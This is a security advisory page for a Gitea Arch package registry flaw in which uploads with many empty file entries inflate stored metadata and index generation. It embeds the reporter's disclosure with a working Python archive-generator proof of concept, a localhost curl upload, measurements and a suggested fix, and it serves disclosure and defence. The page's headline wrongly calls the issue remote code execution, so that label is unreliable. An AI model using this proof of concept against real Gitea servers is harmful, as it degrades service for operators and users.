CVE-2026-59763: Gitea Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-9mq6-mqjj-c2c5
CWE-770
Published
Advisory Summary

CVE-2026-59763 is a MODERATE remote code execution vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Gitea libraries in the Go ecosystem. The issue involves unbounded arch package file metadata can cause resource amplification in gitea package uploads. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-59763 at a Glance

CVE Identifier CVE-2026-59763
GHSA Identifier GHSA-9mq6-mqjj-c2c5
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-59763

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-59763, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Hello Gitea Security Team, Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation. During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation. As a result, a relatively small compressed `.pkg.tar.gz` archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service. ## Suggested Severity Suggested severity: Medium Suggested CVSS 3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L` Suggested CVSS score: 4.3 This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation. ## Affected Component * Gitea package registry * Arch package upload endpoint * Arch package metadata parsing * Arch repository index generation ## Technical Details The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index. The relevant flow appears to include: * `routers/api/packages/arch/arch.go:46` accepts the upload stream. * `routers/api/packages/arch/arch.go:55` copies the upload into a `HashedBuffer`. * `routers/api/packages/arch/arch.go:62` parses the archive with `arch_module.ParsePackage`. * `modules/packages/arch/metadata.go:149` appends each non-dot regular tar entry name to `files`. * `modules/packages/arch/metadata.go:158` stores the full list as `p.FileMetadata.Files`. * `routers/api/packages/arch/arch.go:77` JSON-marshals the file metadata. * `routers/api/packages/arch/arch.go:143` persists the metadata as `arch_module.PropertyMetadata`. * `services/packages/arch/repository.go:302` deserializes the metadata during index generation. * `services/packages/arch/repository.go:365` joins the full file list into the generated `files` entry. From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit. ## Impact An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid `.PKGINFO` file and a large number of empty regular file entries. In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository `files` index content to become much larger than the compressed upload size. The practical impact appears to be resource amplification affecting: * CPU usage during parsing and index generation * memory usage during metadata handling * database storage due to large serialized metadata * repository index generation size and processing time This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages. ## Local Validation Results I tested this only on a local self-hosted Gitea instance. A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte `arch.metadata` database property and a generated repository index whose `files` member contained 100,001 lines. A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte `arch.metadata` database property and a generated repository `files` member with 500,001 lines. ## Proof of Concept The following proof of concept is intended only for a local self-hosted test instance. Save the following script as `generate_arch_metadata_test_package.py`: ```python #!/usr/bin/env python3 from __future__ import annotations import argparse import gzip import io import tarfile from pathlib import Path PKGINFO = """pkgname = gitea-metadata-test pkgbase = gitea-metadata-test pkgver = 1.0.0-1 pkgdesc = Local metadata scaling test package url = https://example.invalid/ packager = local test arch = x86_64 license = MIT builddate = 1714521600 size = 0 """ def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None: info = tarfile.TarInfo(name=name) info.size = len(data) info.mode = 0o644 tar.addfile(info, io.BytesIO(data)) def build_archive(output: Path, entries: int, name_width: int) -> None: output.parent.mkdir(parents=True, exist_ok=True) with output.open("wb") as raw: with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz: with tarfile.open(fileobj=gz, mode="w|") as tar: add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8")) for i in range(entries): name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt" add_bytes(tar, name, b"") def main() -> None: parser = argparse.ArgumentParser( description="Generate a local Arch package test archive with many empty file entries.", ) parser.add_argument("--entries", type=int, default=100000) parser.add_argument("--name-width", type=int, default=8) parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz")) args = parser.parse_args() if args.entries < 1: raise SystemExit("--entries must be at least 1") if args.name_width < 1: raise SystemExit("--name-width must be at least 1") build_archive(args.output, args.entries, args.name_width) print(f"wrote {args.output} with {args.entries} regular file entries") if __name__ == "__main__": main() ``` Generate a test archive: ```bash python3 generate_arch_metadata_test_package.py \ --entries 100000 \ --output gitea-metadata-test-100k.pkg.tar.gz ``` Upload it to a local Gitea test instance with package publishing enabled: ```bash curl -X PUT \ -H "Authorization: token <TOKEN>" \ --upload-file gitea-metadata-test-100k.pkg.tar.gz \ http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo ``` Observed local result: ```text HTTP_STATUS=201 TIME_TOTAL=0.482909 SIZE_UPLOAD=470403 ``` ## Additional Validation Parser-only measurements: | Entries | Compressed archive bytes | Parsed file entries | Metadata JSON bytes | Joined files bytes | Parse time | | ------: | -----------------------: | ------------------: | ------------------: | -----------------: | ---------: | | 25 | 477 | 25 | 1,237 | 1,074 | 0 ms | | 10,000 | 47,461 | 10,000 | 450,112 | 429,999 | 25 ms | | 100,000 | 470,403 | 100,000 | 4,500,112 | 4,299,999 | 264 ms | Local Gitea upload measurements: | Entries | Upload HTTP status | Upload time | Uploaded bytes | Stored metadata bytes | Stored file count | Repository index blob bytes | Extracted `files` lines | | ------: | -----------------: | ----------: | -------------: | --------------------: | ----------------: | --------------------------: | ----------------------: | | 10,000 | 201 | 0.243 s | 47,461 | 450,112 | 10,000 | 27,267 | 10,001 | | 100,000 | 201 | 0.483 s | 470,403 | 4,500,112 | 100,000 | 262,301 | 100,001 | | 500,000 | 201 | 1.798 s | 2,349,767 | 22,500,112 | 500,000 | 1,306,465 | 500,001 | ## Package Size Limit Behavior I also tested `LIMIT_SIZE_ARCH=1MiB` with a non-admin package publisher. | Entries | Upload bytes | Upload HTTP status | Stored metadata bytes | Notes | | ------: | -----------: | -----------------: | --------------------: | ------------------------------------------------------------------------ | | 100,000 | 470,403 | 201 | 4,500,112 | Accepted because the compressed upload was below the package size limit. | | 500,000 | 2,349,767 | 403 | not stored | Rejected with `maximum allowed package type size exceeded`. | This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit. ## Expected Behavior Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation. ## Suggested Remediation One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation. Potential controls could include: * limiting the maximum number of regular file entries recorded in `FileMetadata.Files` * limiting the cumulative byte length of recorded file names * returning a clear 4xx validation error when an uploaded package exceeds those limits * optionally making these limits configurable for instance operators * adding regression tests for excessive file-entry count and excessive cumulative file-name size For example, the validation could follow this general shape: ```go const ( maxArchMetadataFiles = 10000 maxArchMetadataFileNameBytes = 1 << 20 ) var totalFileNameBytes int // inside the tar entry loop if !strings.HasPrefix(filename, ".") { totalFileNameBytes += len(hd.Name) if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes { return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit") } files = append(files, hd.Name) } ``` This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements. ## Closing Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits. I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

CVE-2026-59763 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-59763?
CVE-2026-59763 is a security vulnerability in Gitea involving Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-59763?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What CWE is associated with CVE-2026-59763?
CVE-2026-59763 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-59763?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9mq6-mqjj-c2c5",
  "modified" : "2026-07-21T20:20:49Z",
  "published" : "2026-07-21T20:20:49Z",
  "aliases" : [ "CVE-2026-59763" ],
  "summary" : "Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads",
  "details" : "## Summary\n\nHello Gitea Security Team,\n\nThank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.\n\nDuring local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.\n\nAs a result, a relatively small compressed `.pkg.tar.gz` archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.\n\n## Suggested Severity\n\nSuggested severity: Medium\n\nSuggested CVSS 3.1 vector:\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L`\n\nSuggested CVSS score: 4.3\n\nThis assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.\n\n## Affected Component\n\n* Gitea package registry\n* Arch package upload endpoint\n* Arch package metadata parsing\n* Arch repository index generation\n\n## Technical Details\n\nThe upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.\n\nThe relevant flow appears to include:\n\n* `routers/api/packages/arch/arch.go:46` accepts the upload stream.\n* `routers/api/packages/arch/arch.go:55` copies the upload into a `HashedBuffer`.\n* `routers/api/packages/arch/arch.go:62` parses the archive with `arch_module.ParsePackage`.\n* `modules/packages/arch/metadata.go:149` appends each non-dot regular tar entry name to `files`.\n* `modules/packages/arch/metadata.go:158` stores the full list as `p.FileMetadata.Files`.\n* `routers/api/packages/arch/arch.go:77` JSON-marshals the file metadata.\n* `routers/api/packages/arch/arch.go:143` persists the metadata as `arch_module.PropertyMetadata`.\n* `services/packages/arch/repository.go:302` deserializes the metadata during index generation.\n* `services/packages/arch/repository.go:365` joins the full file list into the generated `files` entry.\n\nFrom my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.\n\n## Impact\n\nAn authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid `.PKGINFO` file and a large number of empty regular file entries.\n\nIn my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository `files` index content to become much larger than the compressed upload size.\n\nThe practical impact appears to be resource amplification affecting:\n\n* CPU usage during parsing and index generation\n* memory usage during metadata handling\n* database storage due to large serialized metadata\n* repository index generation size and processing time\n\nThis seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.\n\n## Local Validation Results\n\nI tested this only on a local self-hosted Gitea instance.\n\nA 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte `arch.metadata` database property and a generated repository index whose `files` member contained 100,001 lines.\n\nA larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte `arch.metadata` database property and a generated repository `files` member with 500,001 lines.\n\n## Proof of Concept\n\nThe following proof of concept is intended only for a local self-hosted test instance.\n\nSave the following script as `generate_arch_metadata_test_package.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport gzip\nimport io\nimport tarfile\nfrom pathlib import Path\n\nPKGINFO = \"\"\"pkgname = gitea-metadata-test\npkgbase = gitea-metadata-test\npkgver = 1.0.0-1\npkgdesc = Local metadata scaling test package\nurl = https://example.invalid/\npackager = local test\narch = x86_64\nlicense = MIT\nbuilddate = 1714521600\nsize = 0\n\"\"\"\n\ndef add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:\n    info = tarfile.TarInfo(name=name)\n    info.size = len(data)\n    info.mode = 0o644\n    tar.addfile(info, io.BytesIO(data))\n\ndef build_archive(output: Path, entries: int, name_width: int) -> None:\n    output.parent.mkdir(parents=True, exist_ok=True)\n    with output.open(\"wb\") as raw:\n        with gzip.GzipFile(fileobj=raw, mode=\"wb\", compresslevel=9, mtime=0) as gz:\n            with tarfile.open(fileobj=gz, mode=\"w|\") as tar:\n                add_bytes(tar, \".PKGINFO\", PKGINFO.encode(\"utf-8\"))\n                for i in range(entries):\n                    name = f\"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt\"\n                    add_bytes(tar, name, b\"\")\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(\n        description=\"Generate a local Arch package test archive with many empty file entries.\",\n    )\n    parser.add_argument(\"--entries\", type=int, default=100000)\n    parser.add_argument(\"--name-width\", type=int, default=8)\n    parser.add_argument(\"--output\", type=Path, default=Path(\"gitea-metadata-test.pkg.tar.gz\"))\n    args = parser.parse_args()\n\n    if args.entries < 1:\n        raise SystemExit(\"--entries must be at least 1\")\n    if args.name_width < 1:\n        raise SystemExit(\"--name-width must be at least 1\")\n\n    build_archive(args.output, args.entries, args.name_width)\n    print(f\"wrote {args.output} with {args.entries} regular file entries\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nGenerate a test archive:\n\n```bash\npython3 generate_arch_metadata_test_package.py \\\n  --entries 100000 \\\n  --output gitea-metadata-test-100k.pkg.tar.gz\n```\n\nUpload it to a local Gitea test instance with package publishing enabled:\n\n```bash\ncurl -X PUT \\\n  -H \"Authorization: token <TOKEN>\" \\\n  --upload-file gitea-metadata-test-100k.pkg.tar.gz \\\n  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo\n```\n\nObserved local result:\n\n```text\nHTTP_STATUS=201\nTIME_TOTAL=0.482909\nSIZE_UPLOAD=470403\n```\n\n## Additional Validation\n\nParser-only measurements:\n\n| Entries | Compressed archive bytes | Parsed file entries | Metadata JSON bytes | Joined files bytes | Parse time |\n| ------: | -----------------------: | ------------------: | ------------------: | -----------------: | ---------: |\n|      25 |                      477 |                  25 |               1,237 |              1,074 |       0 ms |\n|  10,000 |                   47,461 |              10,000 |             450,112 |            429,999 |      25 ms |\n| 100,000 |                  470,403 |             100,000 |           4,500,112 |          4,299,999 |     264 ms |\n\nLocal Gitea upload measurements:\n\n| Entries | Upload HTTP status | Upload time | Uploaded bytes | Stored metadata bytes | Stored file count | Repository index blob bytes | Extracted `files` lines |\n| ------: | -----------------: | ----------: | -------------: | --------------------: | ----------------: | --------------------------: | ----------------------: |\n|  10,000 |                201 |     0.243 s |         47,461 |               450,112 |            10,000 |                      27,267 |                  10,001 |\n| 100,000 |                201 |     0.483 s |        470,403 |             4,500,112 |           100,000 |                     262,301 |                 100,001 |\n| 500,000 |                201 |     1.798 s |      2,349,767 |            22,500,112 |           500,000 |                   1,306,465 |                 500,001 |\n\n## Package Size Limit Behavior\n\nI also tested `LIMIT_SIZE_ARCH=1MiB` with a non-admin package publisher.\n\n| Entries | Upload bytes | Upload HTTP status | Stored metadata bytes | Notes                                                                    |\n| ------: | -----------: | -----------------: | --------------------: | ------------------------------------------------------------------------ |\n| 100,000 |      470,403 |                201 |             4,500,112 | Accepted because the compressed upload was below the package size limit. |\n| 500,000 |    2,349,767 |                403 |            not stored | Rejected with `maximum allowed package type size exceeded`.              |\n\nThis suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.\n\n## Expected Behavior\n\nGitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.\n\n## Suggested Remediation\n\nOne possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.\n\nPotential controls could include:\n\n* limiting the maximum number of regular file entries recorded in `FileMetadata.Files`\n* limiting the cumulative byte length of recorded file names\n* returning a clear 4xx validation error when an uploaded package exceeds those limits\n* optionally making these limits configurable for instance operators\n* adding regression tests for excessive file-entry count and excessive cumulative file-name size\n\nFor example, the validation could follow this general shape:\n\n```go\nconst (\n\tmaxArchMetadataFiles = 10000\n\tmaxArchMetadataFileNameBytes = 1 << 20\n)\n\nvar totalFileNameBytes int\n\n// inside the tar entry loop\nif !strings.HasPrefix(filename, \".\") {\n\ttotalFileNameBytes += len(hd.Name)\n\tif len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {\n\t\treturn nil, util.NewInvalidArgumentErrorf(\"arch package file metadata exceeds limit\")\n\t}\n\tfiles = append(files, hd.Name)\n}\n```\n\nThis is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.\n\n## Closing\n\nThank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.\n\nI appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-9mq6-mqjj-c2c5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38406"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38426"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:20:49Z",
    "nvd_published_at" : null
  }
}